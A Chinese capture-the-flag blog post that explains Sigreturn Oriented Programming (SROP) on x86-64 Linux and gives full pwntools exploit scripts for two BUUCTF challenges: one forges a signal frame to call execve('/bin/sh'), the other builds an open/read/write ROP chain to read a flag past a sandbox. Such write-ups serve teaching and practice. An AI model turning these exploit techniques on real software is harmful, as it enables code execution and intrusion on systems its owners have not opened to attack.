ReStr0
Venom战队队员 Chamd5安全团队
ReStr0-Blog

SROP原理和利用方法

Srop 原理与利用方法 – z2yh – 博客园 (cnblogs.com)

好好说话之SROP_hollk’s blog-CSDN博客

Srop

Srop 的全称是Sigreturn Oriented Programming

Srop 可以理解成一种高级的ROP,利用了linux下15号系统调用的->rt_sigreturn

Signal

signal机制
SignalUnix系统中的一种通信机制,通常用于在进程之间传递信息,也可以说是软中断信息

比如说,进程之间可以通过系统调用 kill 来发送软中断信号。 常见于在一个进程中, 进程之间可以通过系统调用 kill 来发送软中断信号,该进程将暂时被挂起,系统进入内核态

一般分为三大步:(出自wiki和yichen)

① 内核向某个进程发送signal机制,该进程会被暂时挂起,进入内核态
② 内核会为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理signal
③ signal返回
④ 内核为进程恢复之前保留的上下文,恢复进程的执行

因为是暂时被挂起,所以系统会保留该进程的上下文  (部分内容摘自ctf-wiki)

https://blog.restro.cn/wp-content/uploads/2021/08/20200722143301987.png

内核在保存进程相应上下文阶段主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。

https://blog.restro.cn/wp-content/uploads/2021/08/20200722143403776.png

将所有的寄存器压入栈中,以及signal信息和指向sigreturn的系统调用地址在栈顶上放置rt_sigreturn

此时栈上的内存分布:

https://blog.restro.cn/wp-content/uploads/2021/08/srop-example-1-2.png

这一段内存也被称为Signal Frame

漏洞利用点

  • Signal Frame 被放置在用户进程的内存空间中,也就说Signal Frame是可以读写的
  • 在恢复Signal信号的时候没有检测,也就是说我们可以通过改变Signal Frame中的信息来劫持控制流

例如:

1
2
3
4
rax = 59//对应59号系统调用-> exceve
rdi = '/bin/sh'
rsi = 0
rdx = 0

这样就能进行一个最简单的Srop

Srop链

有时候我们希望执行一系列的操作,此时可以通过syscall ret;这个gadget去串联起我们我们的Srop

执行完一个SignalFrame接着执行下一个SignalFrame

使用情况

在汇编代码中看到存在systemcall的时候可以考虑采用该方法进行尝试
下面给出我们将会用到的64位函数及函数调用号和函数原型

系统调用 调用号 函数原型
read 0 read( int fd, void *buf, size_t count )
write 1 write( int fd, const void *buf, size_t count )
sigreturn 15 int sigreturn( … )
execve 59 execve( const char *filename, char *const argv[], char *const envp[] )


ciscn_s_3  –BUUCTF

去年国赛的某道题

gadgets 函数:

https://blog.restro.cn/wp-content/uploads/2021/08/1886781-20200925163920736-807580453.png

vuln 函数 :

https://blog.restro.cn/wp-content/uploads/2021/08/1886781-20200925164040015-1281733502.png

汇编其实也很好读,就是系统调用-read/write

1
2
read(0,buf,0x400) //-syscall 0 read
write(0,buf,0x30) //-syscall 1 write

syscall(系统调用)是根据rax寄存器里的值,来决定进行多少号的系统调用。

在x64系统中,15号系统调用对应rt_sigreturn

此时我们的思路也很简单,就用write去leak出/bin/sh的地址

让系统进入Signal之后

我们去劫持Signal Frame就好了

1 frame=SigreturnFrame()#pwntools集成的srop工具
2 frame.rax = constants.SYS_execve
3 frame.rdi = sh_address
4 frame.rsi = 0
5 frame.rdx = 0
6 frame.rip = syscall_ret

exp

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
#p = process('./ciscn_s_3')
p = remote('node3.buuoj.cn',28916)
set_rax_15 = 0x4004DA
rw = 0x4004F1
syscall_ret = 0x400517
syscall = 0x400501
​
payload = '/bin/sh\x00' + 'a'*0x8 + p64(rw) 
​
p.send(payload)
​
p.recv(32)
sh_address = u64(p.recv(8)) - 0x118# leak stack
​
p.recv(8)
#init srop
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = sh_address
frame.rsi = 0
frame.rdx = 0 
frame.rip = syscall_ret
#second read
payload = 'a'*0x10+p64(set_rax_15)+p64(syscall_ret)+str(frame)
p.send(payload)
p.interactive()

V&N公开赛 babybabypwn –BUUCTF

这题开了沙盒,没法拿shell,是通过srop来写orw读flag,保护全开

IDA:

  char buf; // [rsp+0h] [rbp-110h]
  unsigned __int64 v2; // [rsp+108h] [rbp-8h]
​
  v2 = __readfsqword(0x28u);
  puts("Welcome to v&n challange!");
  printf("Here is my gift: 0x%llx\n", &puts);
  printf("Please input magic message: ");
  read(0, &buf, 0x100uLL);
  syscall(15LL, &buf);
  return __readfsqword(0x28u) ^ v2;
  • 值得注意的是read是没有溢出的,题目给了syscall(15LL, &buf),就只能srop
  • 还是用到我们pwntools里集成的工具SigreturnFrame()生成signalframe
  • 然后就是写orw了

exp

from pwn import *                                                                                                                                                                                                       
context(log_level='debug', arch='amd64')
​
p = remote('node3.buuoj.cn', 27151)
​
libc = ELF('./libc-2.23.so')
​
p.recvuntil('gift: ')
puts_addr = int(p.recv(14), 16) 
log.info(hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
pop_rdi_ret = libc_base + 0x21102
pop_rsi_ret = libc_base + 0x202e8
pop_rdx_ret = libc_base + 0x01b92
bss = libc_base + libc.bss()
rop_addr = bss + 0x100
​
frame = SigreturnFrame()
frame.rdi = 0x0 # syscall 0 -> read
frame.rsi = rop_addr
frame.rdx = 0x100
frame.rip = read_addr
frame.rsp = rop_addr
#相当于栈迁移到bss +0x100上进行rop
p.sendafter('message: ', str(frame)[8:])
​
str_flag_addr = rop_addr + 0x98 #0x98是为了让open读到flag的字符 
payload = p64(pop_rdi_ret) + p64(str_flag_addr) + p64(pop_rsi_ret) + p64(0x0) + p64(open_addr) # open('flag')
payload += p64(pop_rdi_ret) + p64(0x3) + p64(pop_rsi_ret) + p64(bss) + p64(pop_rdx_ret) + p64(0x30) + p64(read_addr) # read(3,bss,0x40) 3是因为open默认打开stdin->0 stdout->1 stderr->2,接下来打开就是3
payload += p64(pop_rdi_ret) + p64(0x1) + p64(pop_rsi_ret) + p64(bss) + p64(pop_rdx_ret) + p64(0x30) + p64(write_addr) # write(1,bss,0x40)
payload += 'flag\x00'
p.send(payload)
p.interactive()

发表评论

textsms
account_circle
email

ReStr0-Blog

SROP原理和利用方法
Srop 原理与利用方法 - z2yh - 博客园 (cnblogs.com)好好说话之SROP_hollk’s blog-CSDN博客 Srop Srop 的全称是Sigreturn Oriented Programming Srop 可以理解成…
扫描二维码继续阅读
2021-08-13